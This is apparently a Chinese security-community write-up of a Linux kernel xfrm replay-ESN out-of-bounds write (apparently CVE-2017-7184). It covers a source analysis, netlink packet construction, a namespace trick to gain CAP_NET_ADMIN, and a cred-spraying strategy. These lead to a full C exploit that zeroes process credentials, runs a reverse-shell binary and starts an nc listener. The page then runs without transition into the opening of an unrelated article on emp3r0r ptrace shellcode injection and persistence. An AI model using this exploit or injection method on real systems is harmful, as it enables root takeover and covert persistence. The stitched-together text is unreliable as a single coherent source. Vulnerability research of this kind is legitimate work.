在[xfrm_replay_check_esn](https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm/xfrm_replay.c#L434)函数中，首先找到的还是`x->replay_esn`成员，接着检查[1]处某`bit`是否为1，否则退出。首先可以分析出该`bit`的计算方法，是`nr>>5`，即`(nr
/ 32)`，而`bitnr = nr % 32`，而`bmp`的类型为`u32`，即`bmp[i]`的大小为`4*8
bit`，不难发现，`bmp`的作用就是表示某个值是否被占用。取一个情况`bitnr = (pos - diff) %
replay_esn->replay_window`，其中`pos = (replay_esn->seq - 1) %
replay_esn->replay_window`，`diff = top - seq =replay_esn->seq - seq`，因此`bitnr
= (seq - 1 )% replay_esn->replay_window`，即`AH`中的`seq`是否被处理过。
static int xfrm_replay_check_esn(struct xfrm_state *x,
struct sk_buff *skb, __be32 net_seq)
{
unsigned int bitnr, nr;
u32 diff;
struct xfrm_replay_state_esn *replay_esn = x->replay_esn;
u32 pos;
u32 seq = ntohl(net_seq);
u32 wsize = replay_esn->replay_window;
u32 top = replay_esn->seq;
u32 bottom = top - wsize + 1;
if (!wsize)
return 0;
if (unlikely(seq == 0 && replay_esn->seq_hi == 0 &&
(replay_esn->seq < replay_esn->replay_window - 1)))
goto err;
diff = top - seq;
if (likely(top >= wsize - 1)) {
/* A. same subspace */
if (likely(seq > top) || seq < bottom)
return 0;
} else {
/* B. window spans two subspaces */
if (likely(seq > top && seq < bottom))
return 0;
if (seq >= bottom)
diff = ~seq + top + 1;
}
if (diff >= replay_esn->replay_window) {
x->stats.replay_window++;
goto err;
}
pos = (replay_esn->seq - 1) % replay_esn->replay_window;
if (pos >= diff)
bitnr = (pos - diff) % replay_esn->replay_window;
else
bitnr = replay_esn->replay_window - (diff - pos);
nr = bitnr >> 5;
bitnr = bitnr & 0x1F;
[1] if (replay_esn->bmp[nr] & (1U << bitnr))
goto err_replay;
return 0;
err_replay:
x->stats.replay++;
err:
xfrm_audit_state_replay(x, skb, net_seq);
return -EINVAL;
}
而在[xfrm_replay_advance_esn](https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm/xfrm_replay.c#L505)函数中，共有三处对`bmp`的写操作，其中在[1]处对于某一个`bit`执行`&0`，将导致某一个`bit`被置零。在[2]处，可以发现函数对从`bmp[0]`到`bmp[(replay_esn->replay_window
- 1) >> 5]`块内存均置零，而[3]处，这可以对某一个`bit`写1。
static void xfrm_replay_advance_esn(struct xfrm_state *x, __be32 net_seq)
{
unsigned int bitnr, nr, i;
int wrap;
u32 diff, pos, seq, seq_hi;
struct xfrm_replay_state_esn *replay_esn = x->replay_esn;
if (!replay_esn->replay_window)
return;
seq = ntohl(net_seq);
pos = (replay_esn->seq - 1) % replay_esn->replay_window;
seq_hi = xfrm_replay_seqhi(x, net_seq);
wrap = seq_hi - replay_esn->seq_hi;
if ((!wrap && seq > replay_esn->seq) || wrap > 0) {
if (likely(!wrap))
diff = seq - replay_esn->seq;
else
diff = ~replay_esn->seq + seq + 1;
if (diff < replay_esn->replay_window) {
for (i = 1; i < diff; i++) {
bitnr = (pos + i) % replay_esn->replay_window;
nr = bitnr >> 5;
bitnr = bitnr & 0x1F;
[1] replay_esn->bmp[nr] &= ~(1U << bitnr);
}
} else {
nr = (replay_esn->replay_window - 1) >> 5;
for (i = 0; i <= nr; i++)
[2] replay_esn->bmp[i] = 0;
}
bitnr = (pos + diff) % replay_esn->replay_window;
replay_esn->seq = seq;
if (unlikely(wrap > 0))
replay_esn->seq_hi++;
} else {
diff = replay_esn->seq - seq;
if (pos >= diff)
bitnr = (pos - diff) % replay_esn->replay_window;
else
bitnr = replay_esn->replay_window - (diff - pos);
}
nr = bitnr >> 5;
bitnr = bitnr & 0x1F;
[3] replay_esn->bmp[nr] |= (1U << bitnr);
if (xfrm_aevent_is_on(xs_net(x)))
x->repl->notify(x, XFRM_REPLAY_UPDATE);
}
因此， **通过用户态空间发送一个`AH`数据包将导致，一个`bit`的内存写，或者一段空间的置零**。
# 漏洞触发与利用
## netlink套接字通信
与熟悉的驱动或内核模块所使用的系统调用或`ioctl`机制不同，本漏洞触发使用过的是`netlink`通信机制。
> Netlink 是一种特殊的 socket，它是 Linux 所特有的，类似于 BSD 中的AF_ROUTE 但又远比它的功能强大。目前在Linux
> 内核中使用netlink 进行应用与内核通信的应用很多; 包括：路由 daemon（NETLINK_ROUTE），用户态 socket
> 协议（NETLINK_USERSOCK），防火墙（NETLINK_FIREWALL），netfilter
> 子系统（NETLINK_NETFILTER），内核事件向用户态通知（NETLINK_KOBJECT_UEVENT）， 通用
> netlink（NETLINK_GENERIC）等。
而基于`netlink`的内核通信与`socket`的通信方式一致，都是通过`sendto()，recvfrom()； sendmsg(),
recvmsg()`的用户态`API`。
而发送到内核态的数据以协议包的形式进行解析，因此需要了解`xfrm`数据包的协议格式，其协议结构图及相关函数图示如下。
/* ========================================================================
* Netlink Messages and Attributes Interface (As Seen On TV)
* ------------------------------------------------------------------------ * Messages Interface
* ------------------------------------------------------------------------ *
* Message Format:
* <--- nlmsg_total_size(payload) --->
* <-- nlmsg_msg_size(payload) ->
* +----------+- - -+-------------+- - -+-------- - - * | nlmsghdr | Pad | Payload | Pad | nlmsghdr
* +----------+- - -+-------------+- - -+-------- - - * nlmsg_data(nlh)---^ ^
* nlmsg_next(nlh)-----------------------+
*
* Payload Format:
* <---------------------- nlmsg_len(nlh) --------------------->
* <------ hdrlen ------> <- nlmsg_attrlen(nlh, hdrlen) ->
* +----------------------+- - -+--------------------------------+
* | Family Header | Pad | Attributes |
* +----------------------+- - -+--------------------------------+
* nlmsg_attrdata(nlh, hdrlen)---^
*
* Data Structures:
* struct nlmsghdr netlink message header
* ------------------------------------------------------------------------ * Attributes Interface
* ------------------------------------------------------------------------ *
* Attribute Format:
* <------- nla_total_size(payload) ------->
* <---- nla_attr_size(payload) ----->
* +----------+- - -+- - - - - - - - - +- - -+-------- - - * | Header | Pad | Payload | Pad | Header
* +----------+- - -+- - - - - - - - - +- - -+-------- - - * <- nla_len(nla) -> ^
* nla_data(nla)----^ |
* nla_next(nla)-----------------------------'
*
* Data Structures:
* struct nlattr netlink attribute header
从上图可以看出， **发送到内核的数据需要如下形式`nlmsghdr` \+ `Family Header` \+ `n * (nla +
data)`。**
首先从`xfrm_netlink_rcv`函数中调用[netlink_rcv_skb](https://elixir.bootlin.com/linux/v4.10.6/source/net/netlink/af_netlink.c#L2275)函数，会检查`nlmsg_type`及`nlmsg_len`范围，并交由`cb`函数处理，其赋值为`xfrm_user_rcv_msg`。
int netlink_rcv_skb(struct sk_buff *skb, int (*cb)(struct sk_buff *,
struct nlmsghdr *))
{
struct nlmsghdr *nlh;
int err;
while (skb->len >= nlmsg_total_size(0)) {
int msglen;
nlh = nlmsg_hdr(skb);
err = 0;
if (nlh->nlmsg_len < NLMSG_HDRLEN || skb->len < nlh->nlmsg_len)
return 0;
/* Only requests are handled by the kernel */
if (!(nlh->nlmsg_flags & NLM_F_REQUEST))
goto ack;
/* Skip control messages */
if (nlh->nlmsg_type < NLMSG_MIN_TYPE)
goto ack;
err = cb(skb, nlh);
if (err == -EINTR)
goto skip;
ack:
if (nlh->nlmsg_flags & NLM_F_ACK || err)
netlink_ack(skb, nlh, err);
skip:
msglen = NLMSG_ALIGN(nlh->nlmsg_len);
if (msglen > skb->len)
msglen = skb->len;
skb_pull(skb, msglen);
}
return 0;
}
在[xfrm_user_rcv_msg](https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm/xfrm_user.c#L2444)函数中，会根据`nlmsg_type`到`xfrm_dispatch`中查找对应要调用的函数，并在[2]处检查对应需要的权限，而在[3]处会根据`nla`中参数类型，来初始化一个`**
attr`，作为用户输入参数的索引。最终调用`link->doit`去执行。
static int xfrm_user_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
struct net *net = sock_net(skb->sk);
struct nlattr *attrs[XFRMA_MAX+1];
const struct xfrm_link *link;
int type, err;
#ifdef CONFIG_COMPAT
if (in_compat_syscall())
return -EOPNOTSUPP;
#endif
type = nlh->nlmsg_type;
if (type > XFRM_MSG_MAX)
return -EINVAL;
type -= XFRM_MSG_BASE;
[1] link = &xfrm_dispatch[type];
/* All operations require privileges, even GET */
[2] if (!netlink_net_capable(skb, CAP_NET_ADMIN)) //检查进程权限
return -EPERM;
if ((type == (XFRM_MSG_GETSA - XFRM_MSG_BASE) ||
type == (XFRM_MSG_GETPOLICY - XFRM_MSG_BASE)) &&
(nlh->nlmsg_flags & NLM_F_DUMP)) {
if (link->dump == NULL)
return -EINVAL;
{
struct netlink_dump_control c = {
.dump = link->dump,
.done = link->done,
};
return netlink_dump_start(net->xfrm.nlsk, skb, nlh, &c);
}
}
[3] err = nlmsg_parse(nlh, xfrm_msg_min[type], attrs,
link->nla_max ? : XFRMA_MAX,
link->nla_pol ? : xfrma_policy);
if (err < 0)
return err;
if (link->doit == NULL)
return -EINVAL;
return link->doit(skb, nlh, attrs);
}
从`xfrm_dispatch`可见，我们所需的`XFRM_MSG_NEWSA`及`XFRM_MSG_NEWAE`，仅需将`nlmsg_type`设置为相应值即可。
xfrm_dispatch[XFRM_NR_MSGTYPES] = {
[XFRM_MSG_NEWSA - XFRM_MSG_BASE] = { .doit = xfrm_add_sa },
[XFRM_MSG_DELSA - XFRM_MSG_BASE] = { .doit = xfrm_del_sa },
[XFRM_MSG_GETSA - XFRM_MSG_BASE] = { .doit = xfrm_get_sa,
.dump = xfrm_dump_sa,
.done = xfrm_dump_sa_done },
[XFRM_MSG_NEWPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_add_policy },
[XFRM_MSG_DELPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_get_policy },
[XFRM_MSG_GETPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_get_policy,
.dump = xfrm_dump_policy,
.done = xfrm_dump_policy_done },
[XFRM_MSG_ALLOCSPI - XFRM_MSG_BASE] = { .doit = xfrm_alloc_userspi },
[XFRM_MSG_ACQUIRE - XFRM_MSG_BASE] = { .doit = xfrm_add_acquire },
[XFRM_MSG_EXPIRE - XFRM_MSG_BASE] = { .doit = xfrm_add_sa_expire },
[XFRM_MSG_UPDPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_add_policy },
[XFRM_MSG_UPDSA - XFRM_MSG_BASE] = { .doit = xfrm_add_sa },
[XFRM_MSG_POLEXPIRE - XFRM_MSG_BASE] = { .doit = xfrm_add_pol_expire},
[XFRM_MSG_FLUSHSA - XFRM_MSG_BASE] = { .doit = xfrm_flush_sa },
[XFRM_MSG_FLUSHPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_flush_policy },
[XFRM_MSG_NEWAE - XFRM_MSG_BASE] = { .doit = xfrm_new_ae },
[XFRM_MSG_GETAE - XFRM_MSG_BASE] = { .doit = xfrm_get_ae },
[XFRM_MSG_MIGRATE - XFRM_MSG_BASE] = { .doit = xfrm_do_migrate },
[XFRM_MSG_GETSADINFO - XFRM_MSG_BASE] = { .doit = xfrm_get_sadinfo },
[XFRM_MSG_NEWSPDINFO - XFRM_MSG_BASE] = { .doit = xfrm_set_spdinfo,
.nla_pol = xfrma_spd_policy,
.nla_max = XFRMA_SPD_MAX },
[XFRM_MSG_GETSPDINFO - XFRM_MSG_BASE] = { .doit = xfrm_get_spdinfo },
};
而`Family
Header`需要到对应的处理函数中找，以`xfrm_add_sa`为例，其调用`nlmsg_data`函数的赋值变量类型为`xfrm_usresa_info`，即为`Family
Header`。
struct xfrm_usersa_info *p = nlmsg_data(nlh);
## 利用思路
### 权限限制
所谓权限限制即是在上文中提到的`netlink_net_capable(skb,
CAP_NET_ADMIN)`检查，所需为`CAP_NET_ADMIN`权限。但在`Linux`操作系统中存在命名空间这样的权限隔离机制，在每一个`NET`沙箱中，非`ROOT`进程可以具有`CAP_NET_ADMIN`权限。查看命名空间开启的方式为`cat
/boot/config* | grep CONFIG_USER_NS`，若为「y」，则启用了命名空间。
而对于上述限制的绕过有两种方法，一是使用`setcap`命令为`EXP`赋予权限，即执行`sudo setcap
cap_net_raw,cap_net_admin=eip
./exp`。二是仿照[CVE-2017-7308](https://github.com/ret2p4nda/linux-kernel-exploits/tree/master/2017/CVE-2017-7308)中设置`namespace
sandbox`，但注意此时无法利用`getuid`来判断是否为`root`用户。
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}
### 数据包构造
本漏洞属于一个利用条件比较宽松的漏洞。首先，`xfrm_replay_state_esn`是一个变长的数据结构，而其长度可以由用户输入的`bmp_len`来控制，并由`kzalloc`申请`bmp_len
*4 + 0x18`大小的内存块。其次，越界读写可以每次写1`bit`大小的数据，同时也可以将`(replay_windows
-1)>>5`比特大小的内存块清空。
并且`cred`结构体的申请是通过`prepare_creds`中的`new = kmem_cache_alloc(cred_jar,
GFP_KERNEL);`得到的，但在调试中发现，本内核的`cred_jar`是`kmalloc-192`。
根据内核分配使用的`slub`+伙伴算法可以知道，对于同一个`kmem_cache`分配出来的内存块有一定概率是相邻。因此一种很取巧的思路，就是将`xfrm_replay_state_esn`结构体设置为`192(0xc0)`以内，以利用`kmalloc-192`进行分配，并利用`fork`新建大量进程，使申请大量`cred`，这样喷射之后有很大概率越界读写漏洞存在的位置之后就是一个`cred`结构体，这样利用之前提到过的置零一段内存的操作就可以将`cred`结构体中的部分成员`(uid
gid等)`置零，从而对该进程提权，并通过反弹`shell`就可以得到一个`root`权限的`shell`。
因此对于数据包构造主要根据上述思路。
**xfrm_add_sa**
在触发`xfrm_add_sa`函数的数据包中，需要满足`128 < bmp_len * 4 +0x18 <
192`。并且需要参考之前源码分析中的各项`flag`及参数检查。
**xfrm_new_ae**
在触发`xfrm_new_ae`函数的数据包中，需要对`seq_hi`、`seq`及`replay_window`进行设定，`replay_window`即将要置零的长度大小，由于连续申请了两块大小相同的结构体，而置零的时候是从第一次申请的位置操作的，有可能出现二者相邻，因此需要将`replay_window`设置稍大一些。而`seq_hi`、`seq`两个数据需要结合之后发送的`ah`数据包中的`seq`参数，引导`xfrm_replay_advance_esn`走向置零`bmp[0]~bmp[n]`这个分支。
**AH数据包**
`AH`数据包的要求即`spi`需要和之前申请`SA`的`spi`相同用于寻找`xfrm_state`，并且需要满足
`diff >=
replay_esn->replay_window`，其中`diff`的数据由`xfrm_replay_state_esn`中的`seq`、`seq_hi`及`AH`的`seq`共同决定。还行需在后续单字节写的位置，将`cred`结构体中`usage`置回原值。
在`xfrm_replay_advance_esn`函数执行前后发现，相邻`cred`中的成员被置零。
## EXP
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <arpa/inet.h>
#include <linux/in.h>
#include <linux/xfrm.h>
#define MAX_PAYLOAD 4096
struct ip_auth_hdr {
__u8 nexthdr;
__u8 hdrlen;
__be16 reserved; /* big endian */
__be32 spi; /* big endian */
__be32 seq_no; /* big endian */
__u8 auth_data[8];
};
void fork_spary_n(int n,unsigned int time){
int i;
for(i = 0;i < n;i++){
int pid ;
pid = fork();
if(pid ==0){
sleep(time);
if(getuid() == 0){
fprintf(stderr, "[+] now get r00t\n" );
system("id");
system("/home/p4nda/Desktop/reverse_shell");
}
else{
exit(0);
}
}
}
}
int init_xfrm_socket(){
struct sockaddr_nl addr;
int result = -1,xfrm_socket;
xfrm_socket = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
if (xfrm_socket<=0){
perror("[-] bad NETLINK_XFRM socket ");
return result;
}
addr.nl_family = PF_NETLINK;
addr.nl_pad = 0;
addr.nl_pid = getpid();
addr.nl_groups = 0;
result = bind(xfrm_socket, (struct sockaddr *)&addr, sizeof(addr));
if (result<0){
perror("[-] bad bind ");
close(xfrm_socket);
return result;
}
return xfrm_socket;
}
int init_recvfd(){
int recvfd=-1;
recvfd= socket(AF_INET, SOCK_RAW, IPPROTO_AH );
if (recvfd<=0){
perror("[-] bad IPPROTO_AH socket ");
}
return recvfd;
}
int init_sendfd(){
int sendfd=-1,err;
struct sockaddr_in addr;
sendfd= socket(AF_INET, SOCK_RAW, IPPROTO_AH );
if (sendfd<=0){
perror("[-] bad IPPROTO_AH socket ");
return -1;
}
memset(&addr,0,sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(0x4869);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
err = bind(sendfd, (struct sockaddr*)&addr,sizeof(addr));
if (err<0){
perror("[-] bad bind");
return -1;
}
return sendfd;
}
void dump_data(char *buf,size_t len){
puts("=========================");
int i ;
for(i = 0;i<((len/8)*8);i+=8){
printf("0x%lx",*(size_t *)(buf+i) );
if (i%16)
printf(" ");
else
printf("\n");
}
}
int xfrm_add_sa(int sock,int spi,int bmp_len){
struct sockaddr_nl nladdr;
struct msghdr msg;
struct nlmsghdr *nlhdr;
struct iovec iov;
int len = 4096,err;
char *data;
memset(&nladdr, 0, sizeof(nladdr));
nladdr.nl_family = AF_NETLINK;
nladdr.nl_pid = 0;
nladdr.nl_groups = 0;
nlhdr = (struct nlmsghdr *)malloc(NLMSG_SPACE(len));
memset(nlhdr,0,NLMSG_SPACE(len));
nlhdr->nlmsg_len = NLMSG_LENGTH(len);
nlhdr->nlmsg_flags = NLM_F_REQUEST;
nlhdr->nlmsg_pid = getpid();
nlhdr->nlmsg_type = XFRM_MSG_NEWSA;
data = NLMSG_DATA(nlhdr);
struct xfrm_usersa_info xui;
memset(&xui,0,sizeof(xui));
xui.family = AF_INET;
xui.id.proto = IPPROTO_AH;
xui.id.spi = spi;
xui.id.daddr.a4 = inet_addr("127.0.0.1");
xui.lft.hard_byte_limit = 0x10000000;
xui.lft.hard_packet_limit = 0x10000000;
xui.lft.soft_byte_limit = 0x1000;
xui.lft.soft_packet_limit = 0x1000;
xui.mode = XFRM_MODE_TRANSPORT;
xui.flags = XFRM_STATE_ESN;
memcpy(data,&xui,sizeof(xui));
data += sizeof(xui);
struct nlattr nla;
struct xfrm_algo xa;
memset(&nla, 0, sizeof(nla));
memset(&xa, 0, sizeof(xa));
nla.nla_len = sizeof(xa) + sizeof(nla);
nla.nla_type = XFRMA_ALG_AUTH;
strcpy(xa.alg_name, "digest_null");
xa.alg_key_len = 0;
memcpy(data, &nla, sizeof(nla));
data += sizeof(nla);
memcpy(data, &xa, sizeof(xa));
data += sizeof(xa);
struct xfrm_replay_state_esn rs;
memset(&nla, 0, sizeof(nla));
nla.nla_len = sizeof(nla)+sizeof(rs) +bmp_len*8*4;
nla.nla_type = XFRMA_REPLAY_ESN_VAL;
rs.replay_window = bmp_len;
rs.bmp_len = bmp_len;
memcpy(data,&nla,sizeof(nla));
data += sizeof(nla);
memcpy(data, &rs, sizeof(rs));
data += sizeof(rs);
memset(data,'1',bmp_len*4*8);
iov.iov_base = (void *)nlhdr;
iov.iov_len = nlhdr->nlmsg_len;
memset(&msg, 0, sizeof(msg));
msg.msg_name = (void *)&(nladdr);
msg.msg_namelen = sizeof(nladdr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
//dump_data(&msg,iov.iov_len);
err = sendmsg (sock, &msg, 0);
if (err<0){
perror("[-] bad sendmsg");
return -1;
}
return err;
}
int xfrm_new_ae(int sock,int spi,int bmp_len,int evil_windows,int seq,int seq_hi){
struct sockaddr_nl nladdr;
struct msghdr msg;
struct nlmsghdr *nlhdr;
struct iovec iov;
int len = 4096,err;
char *data;
memset(&nladdr, 0, sizeof(nladdr));
nladdr.nl_family = AF_NETLINK;
nladdr.nl_pid = 0;
nladdr.nl_groups = 0;
nlhdr = (struct nlmsghdr *)malloc(NLMSG_SPACE(len));
memset(nlhdr,0,NLMSG_SPACE(len));
nlhdr->nlmsg_len = NLMSG_LENGTH(len);
nlhdr->nlmsg_flags = NLM_F_REQUEST|NLM_F_REPLACE;
nlhdr->nlmsg_pid = getpid();
nlhdr->nlmsg_type = XFRM_MSG_NEWAE;
data = NLMSG_DATA(nlhdr);
struct xfrm_aevent_id xai;
memset(&xai,0,sizeof(xai));
xai.sa_id.proto = IPPROTO_AH;
xai.sa_id.family = AF_INET;
xai.sa_id.spi = spi;
xai.sa_id.daddr.a4 = inet_addr("127.0.0.1");
memcpy(data,&xai,sizeof(xai));
data += sizeof(xai);
struct nlattr nla;
memset(&nla, 0, sizeof(nla));
struct xfrm_replay_state_esn rs;
memset(&nla, 0, sizeof(nla));
nla.nla_len = sizeof(nla)+sizeof(rs) +bmp_len*8*4;
nla.nla_type = XFRMA_REPLAY_ESN_VAL;
rs.replay_window = evil_windows;
rs.bmp_len = bmp_len;
rs.seq_hi = seq_hi;
rs.seq = seq;
memcpy(data,&nla,sizeof(nla));
data += sizeof(nla);
memcpy(data, &rs, sizeof(rs));
data += sizeof(rs);
memset(data,'1',bmp_len*4*8);
iov.iov_base = (void *)nlhdr;
iov.iov_len = nlhdr->nlmsg_len;
memset(&msg, 0, sizeof(msg));
msg.msg_name = (void *)&(nladdr);
msg.msg_namelen = sizeof(nladdr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
err = sendmsg (sock, &msg, 0);
if (err<0){
perror("[-] bad sendmsg");
return -1;
}
return err;
}
int sendah(int sock,int spi,int seq ){
struct sockaddr_in sai;
struct iovec iov;
struct msghdr msg;
char *data;
struct ip_auth_hdr ah;
int err;
memset(&msg, 0, sizeof(msg));
memset(&sai, 0, sizeof(sai));
sai.sin_addr.s_addr = inet_addr("127.0.0.1");
sai.sin_port = htons(0x4869);
sai.sin_family = AF_INET;
data = malloc(4096);
memset(data,'1',4096);
ah.spi = spi;
ah.nexthdr = 1;
ah.seq_no = seq;
ah.hdrlen = (0x10 >> 2) - 2;
memcpy(data,&ah,sizeof(ah));
iov.iov_base = (void *)data;
iov.iov_len = 4096;
memset(&msg, 0, sizeof(msg));
msg.msg_name = (void *)&(sai);
msg.msg_namelen = sizeof(sai);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
//dump_data(&msg,iov.iov_len);
//dump_data(nlhdr,iov.iov_len);
err = sendmsg (sock, &msg, 0);
if (err<0){
perror("[-] bad sendmsg");
return -1;
}
return err;
}
int main(int argc, char const *argv[])
{
int spary_n=0xc00,err,xfrm_socket,recvfd,sendfd;
unsigned int time = 1;
xfrm_socket=init_xfrm_socket();
if (xfrm_socket<0){
fprintf(stderr, "[-] bad init xfrm socket\n");
exit(-1);
}
fprintf(stderr, "[+] init xfrm_socket %d \n",xfrm_socket);
recvfd = init_recvfd();
if (recvfd<0){
fprintf(stderr, "[-] bad init_recvfd\n");
exit(-1);
}
fprintf(stderr, "[+] init recvfd : %d \n",recvfd);
sendfd = init_sendfd();
if (recvfd<0){
fprintf(stderr, "[-] bad sendfd\n");
exit(-1);
}
fprintf(stderr, "[+] init sendfd : %d \n",sendfd);
//return 0;
fprintf(stderr, "[+] start spary %d creds \n",spary_n );
fork_spary_n(spary_n,time);
sleep(5);
err=xfrm_add_sa(xfrm_socket,4869,0x24);
if (err<0){
fprintf(stderr, "[-] bad xfrm_add_sa\n");
exit(-1);
}
fprintf(stderr, "[+] xfrm_add_sa : %d \n",err);
err=xfrm_new_ae(xfrm_socket,4869,0x24,0xc01,0xb40,1);
if (err<0){
fprintf(stderr, "[-] bad xfrm_new_ae\n");
exit(-1);
}
fprintf(stderr, "[+] xfrm_new_ae : %d \n",err);
fork_spary_n(spary_n,10);
sendah(sendfd,4869, htonl(0x1743));
system("nc -lp 2333");
}
最终效果：
## 总结
与之前调试过的漏洞不同在于此漏洞的触发使用了`netlink`这样的通信机制，因此手册上相关的资料不是很多，需要根据源代码来构造协议中的相应字段。
本文的分析基于的方法利用了该系统内`cred`申请是通过`kmalloc-192`这个`kmem_cache`得到的，虽然可以有效绕过`kaslr`、`SMAP`、`SMEP`保护，但如果`cred`申请通过的是`cred_jar`，则这个方法不一定会成功。
关于长亭博客中提到的方法，我也还在尝试。利用思路是用每次写1`bit`的方法，多次写达到覆盖下一`xfrm_replay_state_esn`中的`bmp_len`，从而越界读泄露地址来绕过`kaslr`。并且可以通过越界写的方法来写如`file_operations`、`tty_struct`这样的虚表结构，达到劫持控制流的目的，将`ROP`数据通过`do_msgsnd`这样的函数布置在内核里，从而绕过`SMEP`和`SMAP`，最终利用控制流劫持跳转回`ROP`。希望可以在后续分析中调出这种方法。
# Reference
[1] `https://zhuanlan.zhihu.com/p/26674557`
[2]
`https://github.com/snorez/blog/blob/master/cve-2017-7184%20(%E9%95%BF%E4%BA%AD%E5%9C%A8Pwn2Own%E4%B8%8A%E7%94%A8%E4%BA%8E%E6%8F%90%E6%9D%83Ubuntu%E7%9A%84%E6%BC%8F%E6%B4%9E)%20%E7%9A%84%E5%88%86%E6%9E%90%E5%88%A9%E7%94%A8.md`
[3] `https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm`
[4] `https://bbs.pediy.com/thread-249192.htm`
[5] `http://blog.chinaunix.net/uid-26675482-id-3255770.html`
[6] `http://onestraw.github.io/linux/netlink-event-signal/`
[7] `http://www.man7.org/linux/man-pages/man7/netlink.7.html`
[8] `https://github.com/ret2p4nda/linux-kernel-exploits/blob/master/2017/CVE-2017-7308/poc.c` | 社区文章 |
# emp3r0r - Linux下的进程注入和持久化
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
本文所介绍的内容是[emp3r0r](https://github.com/jm33-m0/emp3r0r)框架持久化模块的一部分。
Linux有一个独特的东西叫[`procfs`](https://www.commandlinux.com/man-page/man5/procfs.5.html)，把“ _Everything is a file_
”贯彻到了极致。从`/proc/pid/maps`我们能查看进程的内存地址分布，然后在`/proc/pid/mem`我们可以读取或者修改它的内存。
所以理论上我们只需要一个`dd`和`procfs`即可将代码注入一个进程，也确实有人写了[相关的工具](https://github.com/AonCyberLabs/Cexigua)。
但既然Linux提供了一个接口（只有这么一个，不像你们Windows），我们在通常情况下直接调用它就可以了。
## ptrace
对，这唯一的接口就是[`ptrace`](https://linux.die.net/man/2/ptrace)。
这东西是用来操作进程的，大多用于调试器，它提供的功能足够我们完成本文所需的shellcode注入以及进程恢复了。
我们的思路是：
1. attach到目标进程，将其接管
2. 把shellcode写到[`RIP`](https://en.wikipedia.org/wiki/RIP_register)指向的位置，在此之前先备份原有的代码
3. 恢复进程运行
4. shellcode执行到中断，[`trap`](https://en.wikipedia.org/wiki/Signal_\(IPC)#SIGTRAP)并被我们接管
5. 我们把原先的代码写回去，寄存器也都恢复
6. 继续原进程的执行
## 进程的恢复
看了上面的思路，这个似乎并不难。但别忘了，你的shellcode搞乱的不只是这段text和寄存器，它至少还搞乱了原进程的的stack，而且shellcode可能会一直堵塞主线程，这样就永远也不会回到原进程的执行流程了。
而且有的shellcode会直接[`execve`](https://man7.org/linux/man-pages/man2/execve.2.html)从而干脆利落地让原进程成为虚无，你除了再`execve`回去基本上别无它法了。
所以，我直接从原进程[`fork`](https://www.man7.org/linux/man-pages/man2/fork.2.html)出一个子进程，在子进程里执行我的shellcode，顺手恢复原进程，对进程的影响几乎可以忽略不计。
## 菜鸡的第一份shellcode
本菜鸡从未写过shellcode，是`msfvenom`的忠实用户。
我寻思着第一份shellcode就不写烂大街的hello world了，直接写个能用的岂不美哉。
于是在duckduckgo和某开源社区大佬们的指导下，我逐渐明白了该怎么写，武器化之后，就有了这篇文章。
### 怎么写
**啥语言**
正常情况下都是用汇编来写，不过C也可以。某大佬推荐的是这样：
这样写显而易见的好处是，我们不用费心去操作栈了，数据可以由C来安排好。
本文使用纯汇编来做，这种方法以后有机会再尝试了。
**编辑器**
我当然直接用[vim](https://www.vim.org/)了，你们随便找个熟悉的文本编辑器都可以。
这里用的是[nasm](https://nasm.us/)汇编器，使用Intel语法。
**nasm**
写shellcode的话，不用`section .data`是最好的，省得多出来一堆`\0`字节。
大体上一个针对[`x86_64`](https://en.wikipedia.org/wiki/X86-64)的nasm汇编代码长这样：
BITS 64
global _start
section .text
_start:
...your code...
`global _start`类似于`main`，是给linker用的。`BITS 64`代表这是64位汇编。
**hex string**
上面写的东西要转成raw bytes才能用。首先你需要将它们汇编：
❯ nasm yourshellcode.asm -o shellcode.bin
然后把这个二进制文件转换成hex string：
❯ xxd -i shellcode.bin | grep 0x | tr -d '[:space:]' | tr -d ',' | sed 's/0x/\\x/g'
